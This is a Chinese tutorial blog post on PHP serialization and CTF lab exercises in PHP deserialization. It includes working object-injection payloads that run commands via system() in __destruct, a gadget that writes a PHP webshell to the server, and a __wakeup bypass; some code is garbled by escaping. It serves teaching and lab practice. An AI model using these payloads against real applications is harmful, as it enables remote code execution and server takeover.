靶场练习day15--php反序列化

一.序列化基础知识

1.序列化的作用

序列化(Serialization)是将对象的状态信息(属性)转换为可以存储 或传输的形式的过程。

对象------------------>字符串

将对象或者数组转换为可存储/运输的字符串

2.表达方式

复制代码
<?php
$a = null;
echo serialize($a);
?>

所有格式第一位都是数据类型的英文字母简写。

空字符: null------------------------------>N;

整型: 666 ------------------------------>i:666;

浮点型: 66.6------------------------------>d:66.6;

Boolean型:true------------------------------>b:1;

false--------------------------->b:0;

字符串: 'benben'------------------------>s:6:"benben";

复制代码
<?php
class User {
    public $name = "admin";
    public $age = 25;
    public $isAdmin = true;
}

$user = new User();
$serialized = serialize($user);
echo $serialized;
// 输出: O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:25;s:7:"isAdmin";b:1;}
?>

文件头部分

O:4:"User":3:{

O - 表示这是一个对象 (Object)

4 - 类名的长度是4个字符

"User" - 类的名称

3 - 该对象有3个属性

{ - 开始属性的定义

属性

s:4:"name";s:5:"admin";

s - 表示这是一个字符串 (string)

4 - 属性名"name"的长度是4

"name" - 属性名

; - 分隔符

s - 属性值也是字符串

5 - 属性值"admin"的长度是5

"admin" - 属性值

; - 分隔符

3.对象的序列化

复制代码
<?php
class test{
   public $pub='benben';    //定义成员变量
   function jineng(){       //定义成员函数
      echo $this->pub;  
   }
}
$a = new test();
echo serialize($a);
?>

结果:Oobject:4 类名长度:"test"类名:1变量数量:{s:3变量名字长度:"pub"变量名字;s:6值的长度:"benben"变量值;}

注意:不能序列化类;可以序列化对象

只序列化成员变量;不序列化成员函数

二.靶场实战

1.PHP反序列化入门练习

你的任务:构造一个 Test 类的序列化字符串,使得 $unser_obj->name === 'admin'。当 name 字段为 admin 时系统会自动显示 flag。

复制代码
O:4:"Test":1:{s:4:"name";s:5:"admin";}

O:4:"Test":1:{s:4:"name";s:5:"admin";}

│ │ │ │ │ │ │ │ │ │

│ │ │ │ │ │ │ │ │ └─ 字符串结束

│ │ │ │ │ │ │ │ └─────── 值"admin"

│ │ │ │ │ │ │ └────────── 值的长度5

│ │ │ │ │ │ └────────────── 字符串类型标识

│ │ │ │ │ └─────────────────── 属性名结束

│ │ │ │ └────────────────────── 属性名"name"

│ │ │ └──────────────────────── 属性名长度4

│ │ │ └──────────────────────── 字符串类型标识

│ │ │ └──────────────────────── 属性开始

│ │ └──────────────────────────── 属性数量

│ └───────────────────────────────── 类名"Test"

└─────────────────────────────────── 类名长度4

└─────────────────────────────────── 对象类型标识

2.PHP反序列化入门练习2

源码如下

复制代码
<?php


class ExecCmd {

    public $cmd = "echo 'test'";

    public function __destruct() {
        system($this->cmd);

    }

}

?>

我们直接可以利用 __destruct() 中的 system($this->cmd) 来执行任意命令。这是一个经典的PHP反序列化Getshell漏洞。

生成payload:

O:7:"ExecCmd":1:{s:3:"cmd";s:6:"whoami";}

靶场返回www-data,我们获得了 www-data 权限,这是Web服务的典型权限。

O:7:"ExecCmd":1:{s:3:"cmd";s:18:"more /tmp/flag.txt";}

直接得到flag

3.PHP反序列化入门练习3

源码如下

复制代码
<?php
//代码仅作为分析和参考,不保证一定可以执行。
class WriteFile {
    public $filename = "test.txt";
    public $content = "test content";
    public function __toString() {
        file_put_contents($this->filename, $this->content);
        return "写入成功";
    }
}
$obj = @unserialize($ser_data);
if ($obj !== false && $obj instanceof WriteFile) {
    echo $obj; // 触发__toString
}
?>

关键点:

反序列化后必须是一个 WriteFile 对象

当 echo $obj 时,会自动触发 __toString() 方法

__toString() 中调用了 file_put_contents(),可以写入文件

我们可以通过控制 filename 和 content 来写入木马

  1. 代码基本功能分析

这段代码定义了一个名为 WriteFile 的类,主要用于将指定内容写入指定文件。

属性 (Properties):

public $filename: 定义要写入的文件名,默认是 &quot;test.txt&quot;。由于是 public,外部可以随意修改。

public $content: 定义要写入的内容,默认是 &quot;test content&quot;。同样是 public,可以修改。

方法 (Method):

__toString(): 这是一个 PHP 的 魔术方法(Magic Method) 。

核心逻辑: file_put_contents(this-\>filename, this-&gt;content);

作用: 当这个方法被触发时,它会将 content 的值写入 filename 指定的文件中。

  1. 核心机制:__toString() 何时触发?

理解这个漏洞的关键在于理解 __toString() 何时会被自动调用。它不会自动运行,必须满足以下条件之一,对象才会被当做字符串处理:

echo / print: 例如 echo $object;

字符串连接: 例如 str = \"File status: \" . object;

格式化字符串: 例如 printf(&quot;Status: %s&quot;, $object);

文件操作: 当对象被作为文件名传递给 file_exists($object) 等函数时(在某些 PHP 版本中)。

比较操作: 当对象与字符串进行 == 比较时。

漏洞利用

攻击者可以构造如下攻击链:

构造恶意对象: 攻击者在本地生成一个 WriteFile 对象。

修改属性:

将 $filename 修改为 shell.php(WebShell)。

content 修改为 \<?php system(_GET[&#x27;cmd&#x27;]); ?&gt;(恶意代码)。

序列化: 将这个对象序列化为字符串。

发送 Payload: 将序列化后的字符串发送给受害服务器的 unserialize 函数。

触发执行:

服务器运行 unserialize,在内存中还原出恶意的 WriteFile 对象。

服务器运行 echo $obj(或类似的字符串操作)。

WriteFile 类的 __toString 被触发。

file_put_contents 执行,在服务器上生成 shell.php。

RCE: 攻击者访问 shell.php,获得服务器控制权。

<?php

class WriteFile {

public $filename = "shell.php";

// 在 $ 前面加 \ 进行转义

public content = "\_POST['cmd']); ?>";

}

$obj = new WriteFile();

echo serialize($obj);

?>

4.PHP反序列化绕过1

源码如下

复制代码
<?php

class BypassWakeup {

    public $cmd = "echo 'ok'";

    public function __wakeup() {
        $this->cmd = "echo 'waf'";
    }

    public function __destruct() {
        system($this->cmd);
    }
}

$ser_data = $_GET['data'];
unserialize($ser_data);

?>

这题考察了对php魔术方法的绕过,php中有如下两种魔术方法 _destruct()方法 该方法会在对象的引用被删除或当对象被显示销毁时触发,实例化会触发,序列化不会触发,反序列化会触发 _wakeup()方法 该方法在反序列化时触发,且在反序列化之前。当序列化对象的参数列表中成员个数和实际个数不符合时就会绕过_wakeup()。

字符串逃逸,例如:序列化之后得到 O:1:"A":2:{s:4:"name";s:8:"xiaoming";s:3:"age":N;} 此时成员数为2,当将其改为3,在传入unserialize()函数时就不会触发_wakeup()了

O:1:"A":3:{s:4:"name";s:8:"xiaoming";s:3:"age":N;}

将源码序列化,再修改一下成员数可得

O:12:"BypassWakeup":2:{s:3:"cmd";s:17:"cat /tmp/flag.txt";}

相关推荐
Jasmine_llq10 小时前
《B3840 [GESP202306 二级] 找素数》
开发语言·c++·试除法·顺序输入输出算法·素数判定算法·枚举遍历算法·布尔标记算法
梁山好汉(Ls_man)10 小时前
鸿蒙_ArkTS解决Duplicate function implementation错误
开发语言·华为·typescript·harmonyos·鸿蒙
xiaoshuaishuai810 小时前
Git二分法定位Bug
开发语言·python
so2F32hj210 小时前
一款Go语言Gin框架DDD脚手架,适合快速搭建项目
开发语言·golang·gin
LJianK111 小时前
Java中的类、普通类,抽象类,接口的区别
java·开发语言
Dev7z11 小时前
基于MATLAB的5G物理层文本传输系统仿真与性能分析
开发语言·5g·matlab
小智社群11 小时前
贝壳获取小区的名称
开发语言·前端·javascript
lsx20240611 小时前
Python3 OS模块详解
开发语言
微涼53011 小时前
【Python】在使用联网工具时需要的问题
服务器·python·php
LiLiYuan.11 小时前
【Java线程 vs 虚拟机线程】
java·开发语言